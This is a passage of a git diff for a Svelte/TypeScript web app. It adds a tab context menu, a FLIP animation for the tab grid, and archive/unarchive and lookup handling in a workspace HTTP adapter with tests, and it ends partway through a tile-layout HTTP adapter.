+ {:else}
+ {@render card(node.tab, false, 0)}
+ {/if}
+ {/each}
+ </div>
+ </div>
- <button
- type="button"
- class="btn btn-ghost btn-sm w-full border border-base-300"
- class:btn-primary={activeConversationId === null}
- aria-label="New chat"
- onclick={() => onNewDraft()}
- >
- {#if activeConversationId === null}
- New Chat
- {:else}
- + New chat
- {/if}
- </button>
+ <button
+ type="button"
+ class="btn btn-ghost btn-sm w-full border border-base-300"
+ class:btn-primary={activeConversationId === null}
+ aria-label="New chat"
+ onclick={() => onNewDraft()}
+ >
+ {#if activeConversationId === null}
+ New Chat
+ {:else}
+ + New chat
+ {/if}
+ </button>
</div>
+
+{#if menu !== null && menuTab !== null && onSetTabGroup !== undefined}
+ {@const setGroup = onSetTabGroup}
+ {@const target = menuTab.conversationId}
+ {@const children = [...menuChildren]}
+ <TabMenu
+ tab={menuTab}
+ handle={handleFor(target)}
+ x={menu.x}
+ y={menu.y}
+ groupParent={menuGroupParent}
+ childCount={children.length}
+ candidates={menuCandidates}
+ {handleFor}
+ onAddToGroup={(parentId) => setGroup(target, parentId)}
+ onRemoveFromGroup={() => setGroup(target, null)}
+ onUngroupChildren={() => {
+ for (const id of children) setGroup(id, null);
+ }}
+ onDismiss={() => (menu = null)}
+ />
+{/if}
+
+{#if closeConfirm !== null}
+ {@const target = closeConfirm.tab}
+ {@const cascadeIds = [...closeConfirm.cascadeIds]}
+ {@const closeOwner = onClose}
+ <CloseSubagentsConfirm
+ tab={target}
+ subagentCount={cascadeIds.length - 1}
+ onKeep={() => {
+ closeOwner(target.conversationId);
+ closeConfirm = null;
+ }}
+ onCloseAll={() => {
+ for (const id of cascadeIds) closeOwner(id);
+ closeConfirm = null;
+ }}
+ onDismiss={() => (closeConfirm = null)}
+ />
+{/if}
diff --git a/src/features/tabs/ui/TabMenu.svelte b/src/features/tabs/ui/TabMenu.svelte
new file mode 100644
index 0000000..513463f
--- /dev/null
+++ b/src/features/tabs/ui/TabMenu.svelte
@@ -0,0 +1,145 @@
+<script lang="ts">
+ import type { Tab } from "../tabs";
+
+ /**
+ * The tab context menu (right-click / touch-and-hold on a tab card): add the
+ * tab to a subagent group, remove it from its group, or release its own
+ * subagents. Purely presentational grouping. Fixed-positioned at the
+ * pointer, clamped into the viewport; closes on Escape / outside press /
+ * scroll / resize.
+ */
+ let {
+ tab,
+ handle,
+ x,
+ y,
+ groupParent,
+ childCount,
+ candidates,
+ handleFor,
+ onAddToGroup,
+ onRemoveFromGroup,
+ onUngroupChildren,
+ onDismiss,
+ }: {
+ tab: Tab;
+ handle: string;
+ /** Requested viewport position (pointer). */
+ x: number;
+ y: number;
+ /** The tab's current visible group parent, or null when top-level. */
+ groupParent: Tab | null;
+ /** Number of tabs directly grouped under this tab. */
+ childCount: number;
+ /** Tabs this tab may be moved under. */
+ candidates: readonly Tab[];
+ handleFor: (conversationId: string) => string;
+ onAddToGroup: (parentId: string) => void;
+ onRemoveFromGroup: () => void;
+ onUngroupChildren: () => void;
+ onDismiss: () => void;
+ } = $props();
+
+ let menuEl = $state<HTMLDivElement>();
+ let width = $state(0);
+ let height = $state(0);
+ const MARGIN = 8;
+
+ const left = $derived(
+ Math.max(MARGIN, Math.min(x, (globalThis.innerWidth ?? 0) - width - MARGIN)),
+ );
+ const top = $derived(
+ Math.max(MARGIN, Math.min(y, (globalThis.innerHeight ?? 0) - height - MARGIN)),
+ );
+
+ $effect(() => {
+ menuEl?.focus();
+ });
+
+ function act(fn: () => void): void {
+ fn();
+ onDismiss();
+ }
+</script>
+
+<svelte:window
+ onkeydown={(e) => {
+ if (e.key === "Escape") onDismiss();
+ }}
+ onpointerdown={(e) => {
+ if (menuEl !== undefined && !menuEl.contains(e.target as Node)) onDismiss();
+ }}
+ onresize={onDismiss}
+/>
+
+<div
+ bind:this={menuEl}
+ bind:clientWidth={width}
+ bind:clientHeight={height}
+ class="fixed z-50 flex w-64 max-w-[calc(100vw-1rem)] flex-col rounded-lg border border-base-content/15 bg-base-100 p-1 text-sm shadow-xl outline-none"
+ style:left="{left}px"
+ style:top="{top}px"
+ role="menu"
+ tabindex="-1"
+ aria-label={`Tab menu for ${tab.title}`}
+ oncontextmenu={(e) => e.preventDefault()}
+>
+ <div class="flex min-w-0 items-center gap-1.5 px-2 py-1 text-xs text-base-content/60">
+ <span class="shrink-0 rounded bg-base-300 px-1 py-0.5 font-mono text-[10px] leading-none">
+ {handle}
+ </span>
+ <span class="truncate">{tab.title}</span>
+ </div>
+
+ {#if groupParent !== null}
+ <button
+ type="button"
+ role="menuitem"
+ class="rounded px-2 py-1.5 text-left hover:bg-base-300"
+ onclick={() => act(onRemoveFromGroup)}
+ >
+ Remove from group
+ <span class="block truncate text-xs text-base-content/50">
+ Currently under {handleFor(groupParent.conversationId)} · {groupParent.title}
+ </span>
+ </button>
+ {/if}
+
+ {#if childCount > 0}
+ <button
+ type="button"
+ role="menuitem"
+ class="rounded px-2 py-1.5 text-left hover:bg-base-300"
+ onclick={() => act(onUngroupChildren)}
+ >
+ Ungroup {childCount}
+ {childCount === 1 ? "subagent" : "subagents"}
+ </button>
+ {/if}
+
+ <div class="mt-1 border-t border-base-content/10 px-2 pt-1.5 pb-1 text-xs text-base-content/60">
+ Add to group under…
+ </div>
+ {#if candidates.length === 0}
+ <div class="px-2 py-1.5 text-xs text-base-content/40">No other tabs</div>
+ {:else}
+ <div class="flex max-h-56 flex-col overflow-y-auto">
+ {#each candidates as candidate (candidate.conversationId)}
+ <button
+ type="button"
+ role="menuitem"
+ class="flex min-w-0 items-center gap-1.5 rounded px-2 py-1.5 text-left hover:bg-base-300"
+ data-group-candidate={candidate.conversationId}
+ onclick={() => act(() => onAddToGroup(candidate.conversationId))}
+ >
+ <span
+ class="shrink-0 rounded bg-base-300 px-1 py-0.5 font-mono text-[10px] leading-none text-base-content/60"
+ >
+ {handleFor(candidate.conversationId)}
+ </span>
+ <span class="truncate">{candidate.title}</span>
+ </button>
+ {/each}
+ </div>
+ {/if}
+</div>
diff --git a/src/features/tabs/ui/tab-flip.ts b/src/features/tabs/ui/tab-flip.ts
new file mode 100644
index 0000000..ac9daaf
--- /dev/null
+++ b/src/features/tabs/ui/tab-flip.ts
@@ -0,0 +1,374 @@
+import { gsap } from "gsap";
+import { isGroupFlipId, leavingFlipIds } from "../tab-flip";
+
+/**
+ * FLIP animation for the tab grid — the DOM EFFECT half (the pure id scheme
+ * lives in `../tab-flip.ts`).
+ *
+ * Driven by the owning component in two calls:
+ * - `capture(nextIds)` — BEFORE the DOM updates: measure every
+ * `[data-flip-id]` element (First), and build an inert GHOST for each
+ * element the next render drops (a closed tab / dissolved group box).
+ * - `play()` — AFTER the DOM updates: measure again (Last), then run three
+ * STAGGERED phases, each only when it has something to do —
+ * 1. SHRINK — ghosts collapse to 0 height (everything else holds still);
+ * 2. MOVE — cards slide from their old box to their new one, and each
+ * group box's tint morphs from its old rect to its new one;
+ * 3. GROW — new cards (and new group boxes' tints) grow from 0 height.
+ *
+ * PERFORMANCE: this is a hand-rolled FLIP, not GSAP's Flip plugin. Flip
+ * recorded computed styles per element and re-measured while building its
+ * timeline — ~430ms of main-thread work per close with ~40 nested tabs, which
+ * both delayed the click and swallowed the shrink phase. Here each change
+ * costs exactly two batched layout reads (one in `capture`, one in `play`);
+ * every write happens after its batch of reads. Each phase is ONE GSAP tween
+ * on a plain progress value whose `onUpdate` writes inline styles directly —
+ * GSAP never reads an element's computed style (per-element CSS tweens did,
+ * forcing a style recalc per moved card). Cards only TRANSLATE (plus a
+ * width tween when a card turns into / out of a double-width group parent);
+ * a group box never moves itself — only its absolutely-positioned, empty tint
+ * layer does (inset tween), so no card is ever double-translated.
+ *
+ * Like the sidebar panels (`layout/ui/panel-motion.ts`), shrink/grow change
+ * only a HEIGHT, clipped — contents keep their natural size. Grow is a
+ * `clip-path` reveal so the settled grid never shifts under it.
+ *
+ * Data-driven, not click-driven: it animates ANY change to the tab set (a
+ * summoned subagent, a close from another device, a regroup). Re-entrant —
+ * `capture` measures the in-flight VISUAL boxes, `play` clears in-flight
+ * motion before measuring the new layout. Disabled when the user prefers
+ * reduced motion (or the environment can't tell, e.g. jsdom).
+ */
+export interface TabFlip {
+ capture(nextIds: ReadonlySet<string>): void;
+ play(): void;
+}
+
+const SHRINK = 0.1;
+const MOVE = 0.1;
+const GROW = 0.1;
+/** Close: starts slow, finishes fast (accelerates away). */
+const SHRINK_EASE = "power2.in";
+/** Move: slow → fast → slow. */
+const MOVE_EASE = "power2.inOut";
+/** Open: starts fast, settles slowly (the mirror of close). */
+const GROW_EASE = "power2.out";
+const GHOST_ATTR = "data-tab-ghost";
+/** Fully clipped from the bottom edge up (0 visible height). */
+const CLIP_HIDDEN = "inset(0% 0% 100% 0%)";
+/** Every inline style this module may leave on a live element mid-flight. */
+const MOTION_PROPS = ["transform", "width", "clip-path", "top", "right", "bottom", "left"];
+
+interface Captured {
+ /** Visual box (incl. any in-flight motion) per flip id. Cards: the card; boxes: the tint. */
+ readonly rects: ReadonlyMap<string, DOMRect>;
+ /** Built but not yet started — their shrink starts in `play`. */
+ readonly ghosts: readonly HTMLElement[];
+}
+
+export function createTabFlip(getScroller: () => HTMLElement | undefined): TabFlip {
+ let captured: Captured | null = null;
+ /** Live elements carrying motion styles, so `play` can reset exactly those. */
+ const animating = new Set<HTMLElement>();
+ /** The running MOVE + GROW phase tweens (ghost shrinks run independently). */
+ let phases: gsap.core.Tween[] = [];
+
+ return {
+ capture(nextIds) {
+ captured = null;
+ const scroller = getScroller();
+ if (scroller === undefined || !motionAllowed()) return;
+ const els = flipElements(scroller);
+ if (els.length === 0) return;
+
+ // READS (one layout).
+ const rects = new Map<string, DOMRect>();
+ for (const el of els) rects.set(idOf(el), measureTarget(el).getBoundingClientRect());
+ const leaving = leavingFlipIds([...rects.keys()], nextIds);
+ const byId = new Map(els.map((el) => [idOf(el), el]));
+ const plans = leaving
+ .map((id) => byId.get(id))
+ .filter((el): el is HTMLElement => el !== undefined)
+ .map((el) => planGhost(scroller, el, rects.get(idOf(el))))
+ .filter((p): p is GhostPlan => p !== null);
+
+ // WRITES.
+ captured = { rects, ghosts: plans.map(insertGhost) };
+ },
+
+ play() {
+ const prev = captured;
+ captured = null;
+ const scroller = getScroller();
+ if (prev === null || scroller === undefined) return;
+
+ // Reset in-flight motion on live elements so the read below is the
+ // settled layout (their previous VISUAL boxes are already in `prev`).
+ for (const tween of phases) tween.kill();
+ phases = [];
+ for (const el of animating) clearMotion(el);
+ animating.clear();
+
+ // READS (one layout).
+ const next = flipElements(scroller).map((el) => {
+ const target = measureTarget(el);
+ return { target, id: idOf(el), rect: target.getBoundingClientRect() };
+ });
+
+ // Plan (pure arithmetic — no DOM access).
+ const entering: HTMLElement[] = [];
+ const movers: Mover[] = [];
+ for (const { target, id, rect } of next) {
+ const before = prev.rects.get(id);
+ if (before === undefined) entering.push(target);
+ else if (!sameBox(before, rect))
+ movers.push(planMove(target, isGroupFlipId(id), before, rect));
+ }
+ const moveAt = prev.ghosts.length > 0 ? SHRINK : 0;
+ const growAt = moveAt + (movers.length > 0 ? MOVE : 0);
+
+ // WRITES — first frame of every phase NOW (movers hold at their old
+ // boxes, new elements are fully clipped) so nothing flashes in between.
+ for (const m of movers) m.render(0);
+ for (const el of entering) el.style.clipPath = CLIP_HIDDEN;
+
+ // 1. SHRINK — one tween drives every ghost.
+ if (prev.ghosts.length > 0) {
+ const ghosts = prev.ghosts.map((g) => ({ g, h: Number.parseFloat(g.style.height) }));
+ gsap.to(
+ { p: 0 },
+ {
+ p: 1,
+ duration: SHRINK,
+ ease: SHRINK_EASE,
+ onUpdate(this: gsap.core.Tween) {
+ const p = this.targets<{ p: number }>()[0]?.p ?? 1;
+ for (const { g, h } of ghosts) g.style.height = `${h * (1 - p)}px`;
+ },
+ onComplete: () => {
+ for (const { g } of ghosts) g.remove();
+ },
+ },
+ );
+ }
+
+ // 2. MOVE — one tween drives every card slide + tint morph.
+ if (movers.length > 0) {
+ for (const m of movers) animating.add(m.el);
+ phases.push(
+ gsap.to(
+ { p: 0 },
+ {
+ p: 1,
+ duration: MOVE,
+ delay: moveAt,
+ ease: MOVE_EASE,
+ onUpdate(this: gsap.core.Tween) {
+ const p = this.targets<{ p: number }>()[0]?.p ?? 1;
+ for (const m of movers) m.render(p);
+ },
+ onComplete: () => {
+ for (const m of movers) {
+ clearMotion(m.el);
+ animating.delete(m.el);
+ }
+ },
+ },
+ ),
+ );
+ }
+
+ // 3. GROW — one tween reveals every new card / tint from its top edge.
+ if (entering.length > 0) {
+ for (const el of entering) animating.add(el);
+ phases.push(
+ gsap.to(
+ { p: 0 },
+ {
+ p: 1,
+ duration: GROW,
+ delay: growAt,
+ ease: GROW_EASE,
+ onUpdate(this: gsap.core.Tween) {
+ const p = this.targets<{ p: number }>()[0]?.p ?? 1;
+ const clip = `inset(0% 0% ${(1 - p) * 100}% 0%)`;
+ for (const el of entering) el.style.clipPath = clip;
+ },
+ onComplete: () => {
+ for (const el of entering) {
+ clearMotion(el);
+ animating.delete(el);
+ }
+ },
+ },
+ ),
+ );
+ }
+ },
+ };
+}
+
+interface Mover {
+ readonly el: HTMLElement;
+ /** Write the element's styles at move progress `p` (0 = old box, 1 = home). */
+ render(p: number): void;
+}
+
+/**
+ * A card slides (and, when it turned into / out of a double-width group
+ * parent, resizes) from its old box; a group tint morphs its insets from its
+ * old rect. Both end at their natural layout (`p = 1` ⇒ zero offsets).
+ */
+function planMove(el: HTMLElement, isTint: boolean, from: DOMRect, to: DOMRect): Mover {
+ if (isTint) {
+ const top = from.top - to.top;
+ const left = from.left - to.left;
+ const right = to.right - from.right;
+ const bottom = to.bottom - from.bottom;
+ return {
+ el,
+ render(p) {
+ const k = 1 - p;
+ el.style.top = `${top * k}px`;
+ el.style.left = `${left * k}px`;
+ el.style.right = `${right * k}px`;
+ el.style.bottom = `${bottom * k}px`;
+ },
+ };
+ }
+ const dx = from.left - to.left;
+ const dy = from.top - to.top;
+ const resized = Math.abs(from.width - to.width) >= 0.5;
+ return {
+ el,
+ render(p) {
+ const k = 1 - p;
+ el.style.transform = `translate(${dx * k}px, ${dy * k}px)`;
+ if (resized) el.style.width = `${to.width + (from.width - to.width) * k}px`;
+ },
+ };
+}
+
+function clearMotion(el: HTMLElement): void {
+ for (const prop of MOTION_PROPS) el.style.removeProperty(prop);
+}
+
+function motionAllowed(): boolean {
+ return (
+ typeof window.matchMedia === "function" &&
+ !window.matchMedia("(prefers-reduced-motion: reduce)").matches
+ );
+}
+
+function flipElements(scroller: HTMLElement): HTMLElement[] {
+ return [...scroller.querySelectorAll<HTMLElement>("[data-flip-id]")];
+}
+
+function idOf(el: HTMLElement): string {
+ return el.dataset.flipId ?? "";
+}
+
+/** What VISUALLY represents a flip element: a card itself, a group box's tint. */
+function measureTarget(el: HTMLElement): HTMLElement {
+ if (!isGroupFlipId(idOf(el))) return el;
+ return el.querySelector<HTMLElement>(":scope > [data-group-backdrop]") ?? el;
+}
+
+/** Whether two rects are the same box (sub-pixel tolerance). */
+function sameBox(a: DOMRect, b: DOMRect): boolean {
+ const close = (x: number, y: number) => Math.abs(x - y) < 0.5;
+ return (
+ close(a.left, b.left) &&
+ close(a.top, b.top) &&
+ close(a.width, b.width) &&
+ close(a.height, b.height)
+ );
+}
+
+interface GhostPlan {
+ readonly source: HTMLElement;
+ readonly host: HTMLElement;
+ readonly isGroup: boolean;
+ readonly left: number;
+ readonly top: number;
+ readonly width: number;
+ readonly height: number;
+}
+
+/**
+ * READ half of a ghost: where an inert copy of a leaving element must sit.
+ *
+ * Paint order matters (cards are `relative`, so everything here stacks in DOM
+ * order): a leaving CARD's ghost goes on the scroller, ON TOP of the grid. A
+ * leaving GROUP BOX copies only its tint and goes FIRST in the box's
+ * enclosing grid: above the enclosing box's own tint, but BELOW every card.
+ */
+function planGhost(
+ scroller: HTMLElement,
+ el: HTMLElement,
+ rect: DOMRect | undefined,
+): GhostPlan | null {
+ const isGroup = isGroupFlipId(idOf(el));
+ const source = measureTarget(el);
+ const host = isGroup ? el.parentElement : scroller;
+ if (host === null || rect === undefined || (isGroup && source === el)) return null;
+ const h = host.getBoundingClientRect();
+ return {
+ source,
+ host,
+ isGroup,
+ left: rect.left - h.left - host.clientLeft + host.scrollLeft,
+ top: rect.top - h.top - host.clientTop + host.scrollTop,
+ width: rect.width,
+ height: rect.height,
+ };
+}
+
+/**
+ * WRITE half of a ghost: a clipping frame (whose height later shrinks to 0)
+ * around a full-size copy — only the frame animates, the copy never resizes.
+ */
+function insertGhost(plan: GhostPlan): HTMLElement {
+ const copy = plan.source.cloneNode(!plan.isGroup) as HTMLElement;
+ // A ghost is never a tab/group to queries, tests or assistive tech.
+ for (const node of [copy, ...copy.querySelectorAll<HTMLElement>("*")]) {
+ for (const attr of [
+ "data-flip-id",
+ "data-conversation-id",
+ "data-group-backdrop",
+ "role",
+ "id",
+ ]) {
+ node.removeAttribute(attr);
+ }
+ }
+ Object.assign(copy.style, {
+ position: "absolute",
+ inset: "auto",
+ left: "0",
+ top: "0",
+ width: `${plan.width}px`,
+ height: `${plan.height}px`,
+ margin: "0",
+ transform: "none",
+ clipPath: "none",
+ });
+ const ghost = document.createElement("div");
+ ghost.setAttribute(GHOST_ATTR, "");
+ ghost.setAttribute("aria-hidden", "true");
+ ghost.inert = true;
+ Object.assign(ghost.style, {
+ position: "absolute",
+ left: `${plan.left}px`,
+ top: `${plan.top}px`,
+ width: `${plan.width}px`,
+ height: `${plan.height}px`,
+ overflow: "hidden",
+ pointerEvents: "none",
+ zIndex: plan.isGroup ? "auto" : "2",
+ });
+ ghost.appendChild(copy);
+ if (plan.isGroup) plan.host.prepend(ghost);
+ else plan.host.appendChild(ghost);
+ return ghost;
+}
diff --git a/src/features/workspaces/adapter/http.test.ts b/src/features/workspaces/adapter/http.test.ts
index 18d8939..d6409ca 100644
--- a/src/features/workspaces/adapter/http.test.ts
+++ b/src/features/workspaces/adapter/http.test.ts
@@ -79,15 +79,37 @@ describe("createWorkspaceHttp", () => {
expect(result).toEqual({ ok: false, error: "invalid slug" });
});
- it("get returns null on 404", async () => {
+ it("get reports a missing lookup on 404", async () => {
const http = createWorkspaceHttp(BASE, fakeFetch([{ status: 404 }]));
- expect(await http.get("nope")).toBeNull();
+ expect(await http.get("nope")).toEqual({ kind: "missing" });
});
it("get returns the workspace on 200", async () => {
- const ws = { id: "x", title: "X", defaultCwd: "/home", createdAt: 1, lastActivityAt: 2 };
+ const ws = {
+ id: "x",
+ title: "X",
+ defaultCwd: "/home",
+ defaultComputerId: null,
+ starred: false,
+ archived: false,
+ createdAt: 1,
+ lastActivityAt: 2,
+ };
const http = createWorkspaceHttp(BASE, fakeFetch([{ body: ws }]));
- expect(await http.get("x")).toEqual(ws);
+ expect(await http.get("x")).toEqual({ kind: "found", workspace: ws });
+ });
+
+ it("get distinguishes a failed response from 404 (not 'missing')", async () => {
+ const http = createWorkspaceHttp(
+ BASE,
+ fakeFetch([{ status: 500, body: { error: "db down" } }]),
+ );
+ expect(await http.get("x")).toEqual({ kind: "failed", error: "db down" });
+ });
+
+ it("get reports a network error as failed (not 'missing')", async () => {
+ const http = createWorkspaceHttp(BASE, fakeFetch([new Error("network")]));
+ expect(await http.get("x")).toEqual({ kind: "failed", error: "network" });
});
it("setTitle PUTs the title", async () => {
@@ -186,4 +208,67 @@ describe("createWorkspaceHttp", () => {
const result = await http.unstar("a");
expect(result).toEqual({ ok: false, error: "Failed to unstar workspace" });
});
+
+ it("list passes the archived filter as a query param", async () => {
+ const fetchImpl = fakeFetch([{ body: { workspaces: [] } }]);
+ const http = createWorkspaceHttp(BASE, fetchImpl);
+ await http.list("true");
+ expect(fetchImpl).toHaveBeenCalledWith(`${BASE}/workspaces?archived=true`);
+ });
+
+ it("list omits the query param when no filter is given", async () => {
+ const fetchImpl = fakeFetch([{ body: { workspaces: [] } }]);
+ const http = createWorkspaceHttp(BASE, fetchImpl);
+ await http.list();
+ expect(fetchImpl).toHaveBeenCalledWith(`${BASE}/workspaces`);
+ });
+
+ it("archive PUTs /archive with no body and returns the updated workspace", async () => {
+ const ws = {
+ id: "a",
+ title: "A",
+ defaultCwd: null,
+ defaultComputerId: null,
+ starred: false,
+ archived: true,
+ createdAt: 1,
+ lastActivityAt: 2,
+ };
+ const fetchImpl = fakeFetch([{ body: ws }]);
+ const http = createWorkspaceHttp(BASE, fetchImpl);
+ const result = await http.archive("a");
+ expect(result).toEqual({ ok: true, value: ws });
+ const call = (fetchImpl as unknown as ReturnType<typeof vi.fn>).mock.calls[0];
+ expect(call?.[0]).toBe(`${BASE}/workspaces/a/archive`);
+ expect(call?.[1]).toEqual({ method: "PUT" });
+ });
+
+ it("unarchive DELETEs /archive with no body and returns the updated workspace", async () => {
+ const ws = {
+ id: "a",
+ title: "A",
+ defaultCwd: null,
+ defaultComputerId: null,
+ starred: false,
+ archived: false,
+ createdAt: 1,
+ lastActivityAt: 2,
+ };
+ const fetchImpl = fakeFetch([{ body: ws }]);
+ const http = createWorkspaceHttp(BASE, fetchImpl);
+ const result = await http.unarchive("a");
+ expect(result).toEqual({ ok: true, value: ws });
+ const call = (fetchImpl as unknown as ReturnType<typeof vi.fn>).mock.calls[0];
+ expect(call?.[0]).toBe(`${BASE}/workspaces/a/archive`);
+ expect(call?.[1]).toEqual({ method: "DELETE" });
+ });
+
+ it("archive surfaces the backend error on a 409 (default workspace)", async () => {
+ const http = createWorkspaceHttp(
+ BASE,
+ fakeFetch([{ status: 409, body: { error: 'The "default" workspace cannot be archived' } }]),
+ );
+ const result = await http.archive("default");
+ expect(result).toEqual({ ok: false, error: 'The "default" workspace cannot be archived' });
+ });
});
diff --git a/src/features/workspaces/adapter/http.ts b/src/features/workspaces/adapter/http.ts
index 5673881..3f7f058 100644
--- a/src/features/workspaces/adapter/http.ts
+++ b/src/features/workspaces/adapter/http.ts
@@ -9,6 +9,7 @@ import type {
WorkspaceListResponse,
WorkspaceResponse,
} from "@dispatch/transport-contract";
+import type { WorkspaceLookup } from "../logic/create";
/**
* Workspace HTTP effects — the injected edge that talks to the backend's
@@ -19,24 +20,34 @@ import type {
* safe empty/null on failure (non-fatal — the UI falls back gracefully).
*
* Endpoints ([email protected]):
- * - `GET /workspaces` → list
+ * - `GET /workspaces` (optional `?archived=true|false|all`, default `false` = active only) → list
* - `PUT /workspaces/:id` (create-on-miss, idempotent) → ensure
- * - `GET /workspaces/:id` (404 → null) → get
+ * - `GET /workspaces/:id` (found | 404-missing | failed) → get
* - `PUT /workspaces/:id/title` → rename
* - `PUT /workspaces/:id/default-cwd` → set/clear default cwd
* - `PUT /workspaces/:id/default-computer` → set/clear default computer (SSH handoff #2)
* - `PUT /workspaces/:id/star` (create-on-miss) → star (concurrency priority)
* - `DELETE /workspaces/:id/star` (create-on-miss) → unstar
+ * - `PUT /workspaces/:id/archive` (create-on-miss; 409 for "default") → archive (hide from home grid)
+ * - `DELETE /workspaces/:id/archive` (create-on-miss; 409 for "default") → unarchive
* - `DELETE /workspaces/:id` (409 for "default") → delete
*/
export type WorkspaceResult<T> =
| { readonly ok: true; readonly value: T }
| { readonly ok: false; readonly error: string };
+/** Which workspaces `GET /workspaces` returns: active-only (default), archived-only, or all. */
+export type WorkspaceArchivedFilter = "true" | "false" | "all";
+
export interface WorkspaceHttp {
- list(): Promise<readonly WorkspaceEntry[]>;
+ list(archived?: WorkspaceArchivedFilter): Promise<readonly WorkspaceEntry[]>;
ensure(id: string, body?: EnsureWorkspaceRequest): Promise<WorkspaceResult<Workspace>>;
- get(id: string): Promise<Workspace | null>;
+ /**
+ * Authoritative existence probe. 404 → `missing`, a network/server failure →
+ * `failed` (distinct on purpose: the create gate must not treat a broken
+ * check as "doesn't exist"), 200 → the workspace (`found`).
+ */
+ get(id: string): Promise<WorkspaceLookup>;
setTitle(id: string, title: string): Promise<WorkspaceResult<Workspace>>;
setDefaultCwd(id: string, defaultCwd: string | null): Promise<WorkspaceResult<Workspace>>;
setDefaultComputer(id: string, computerId: string | null): Promise<WorkspaceResult<Workspace>>;
@@ -44,6 +55,10 @@ export interface WorkspaceHttp {
star(id: string): Promise<WorkspaceResult<Workspace>>;
/** Unstar a workspace. Create-on-miss; no body. */
unstar(id: string): Promise<WorkspaceResult<Workspace>>;
+ /** Archive a workspace (hide from the home grid; data untouched). Create-on-miss; no body. */
+ archive(id: string): Promise<WorkspaceResult<Workspace>>;
+ /** Unarchive a workspace (restore to the home grid). Create-on-miss; no body. */
+ unarchive(id: string): Promise<WorkspaceResult<Workspace>>;
delete(id: string): Promise<WorkspaceResult<{ closedCount: number }>>;
}
@@ -58,9 +73,10 @@ async function errText(res: Response): Promise<string> {
export function createWorkspaceHttp(httpBase: string, fetchImpl: typeof fetch): WorkspaceHttp {
return {
- async list(): Promise<readonly WorkspaceEntry[]> {
+ async list(archived?: WorkspaceArchivedFilter): Promise<readonly WorkspaceEntry[]> {
try {
- const res = await fetchImpl(`${httpBase}/workspaces`);
+ const qs = archived !== undefined ? `?archived=${archived}` : "";
+ const res = await fetchImpl(`${httpBase}/workspaces${qs}`);
if (!res.ok) return [];
const data = (await res.json()) as WorkspaceListResponse;
return data.workspaces;
@@ -86,13 +102,17 @@ export function createWorkspaceHttp(httpBase: string, fetchImpl: typeof fetch):
}
},
- async get(id): Promise<Workspace | null> {
+ async get(id): Promise<WorkspaceLookup> {
try {
const res = await fetchImpl(`${httpBase}/workspaces/${encodeURIComponent(id)}`);
- if (res.status === 404 || !res.ok) return null;
- return (await res.json()) as WorkspaceResponse;
- } catch {
- return null;
+ if (res.status === 404) return { kind: "missing" };
+ if (!res.ok) return { kind: "failed", error: await errText(res) };
+ return { kind: "found", workspace: (await res.json()) as WorkspaceResponse };
+ } catch (err) {
+ return {
+ kind: "failed",
+ error: err instanceof Error ? err.message : "Workspace lookup failed",
+ };
}
},
@@ -171,6 +191,30 @@ export function createWorkspaceHttp(httpBase: string, fetchImpl: typeof fetch):
}
},
+ async archive(id): Promise<WorkspaceResult<Workspace>> {
+ try {
+ const res = await fetchImpl(`${httpBase}/workspaces/${encodeURIComponent(id)}/archive`, {
+ method: "PUT",
+ });
+ if (!res.ok) return { ok: false, error: await errText(res) };
+ return { ok: true, value: (await res.json()) as WorkspaceResponse };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : "Archive failed" };
+ }
+ },
+
+ async unarchive(id): Promise<WorkspaceResult<Workspace>> {
+ try {
+ const res = await fetchImpl(`${httpBase}/workspaces/${encodeURIComponent(id)}/archive`, {
+ method: "DELETE",
+ });
+ if (!res.ok) return { ok: false, error: await errText(res) };
+ return { ok: true, value: (await res.json()) as WorkspaceResponse };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : "Unarchive failed" };
+ }
+ },
+
async delete(id): Promise<WorkspaceResult<{ closedCount: number }>> {
try {
const res = await fetchImpl(`${httpBase}/workspaces/${encodeURIComponent(id)}`, {
diff --git a/src/features/workspaces/adapter/tile-layout-http.ts b/src/features/workspaces/adapter/tile-layout-http.ts
new file mode 100644
index 0000000..58af9d8
--- /dev/null
+++ b/src/features/workspaces/adapter/tile-layout-http.ts
@@ -0,0 +1,117 @@
+import type { TileGeometryMode, TileLayoutData } from "@dispatch/tile-layout-contract";
+
+/**
+ * Home tile-layout HTTP effects — the injected edge that talks to the
+ * `home-tile-layout` plugin's well-known routes:
+ * - `GET /home/tile-layout/:mode` → `{ layout }` (a fresh orientation reads
+ * as the seeded empty document)
+ * - `PUT /home/tile-layout/:mode` body `{ layout }` → 200 `{ layout }` /
+ * 400 `{ error }`
+ * - `DELETE /home/tile-layout/:mode` → the fresh empty document (reset)
+ *
+ * Mirrors the layout adapter's pattern: `httpBase` + an injected `fetchImpl`
+ * (testable without the network). A 404 is NOT a "no document" signal (the
+ * backend never 404s a fresh orientation — it seeds): any non-2xx / network
+ * failure means "the routes aren't served" (an old backend) or "backend
+ * unreachable" — both degrade the store to its local state with ephemeral
+ * edits, never an error UI.
+ */
+
+/** Outcome of a tile-layout read/write. */
+export type TileLayoutHttpResult =
+ | { readonly ok: true; readonly layout: TileLayoutData }
+ | { readonly ok: false; readonly notFound: boolean; readonly error: string };
+
+export interface TileLayoutHttp {
+ getLayout(mode: TileGeometryMode): Promise<TileLayoutHttpResult>;
+ putLayout(mode: TileGeometryMode, layout: TileLayoutData): Promise<TileLayoutHttpResult>;
+ deleteLayout(mode: TileGeometryMode): Promise<TileLayoutHttpResult>;
+}
+
+/** Read an error message from a non-2xx body (`{ error }`), tolerating junk. */
+async function errorOf(res: Response): Promise<string> {
+ try {
+ const body = (await res.json()) as { error?: unknown };
+ if (typeof body.error === "string" && body.error.length > 0) return body.error;
+ } catch {
+ // fall through
+ }
+ return `HTTP ${res.status}`;
+}
+
+/** A malformed 200 (e.g. an SPA-fallback page) degrades like a failure — never poisons the store. */
+function malformed(): TileLayoutHttpResult {
+ return { ok: false, notFound: false, error: "Malformed tile-layout response" };
+}
+
+function route(httpBase: string, mode: TileGeometryMode): string {
+ return `${httpBase}/home/tile-layout/${encodeURIComponent(mode)}`;
+}
+
+export function createTileLayoutHttp(httpBase: string, fetchImpl: typeof fetch): TileLayoutHttp {
+ return {
+ async getLayout(mode): Promise<TileLayoutHttpResult> {
+ try {
+ const res = await fetchImpl(route(httpBase, mode));
+ if (res.status === 404) {
+ return { ok: false, notFound: true, error: "Tile-layout routes are not served" };
+ }
+ if (!res.ok) return { ok: false, notFound: false, error: await errorOf(res) };
+ const body = (await res.json()) as { layout?: unknown };
+ if (body === null || typeof body !== "object" || body.layout === undefined)
+ return malformed();
+ return { ok: true, layout: body.layout as TileLayoutData };
+ } catch (err) {
+ return {
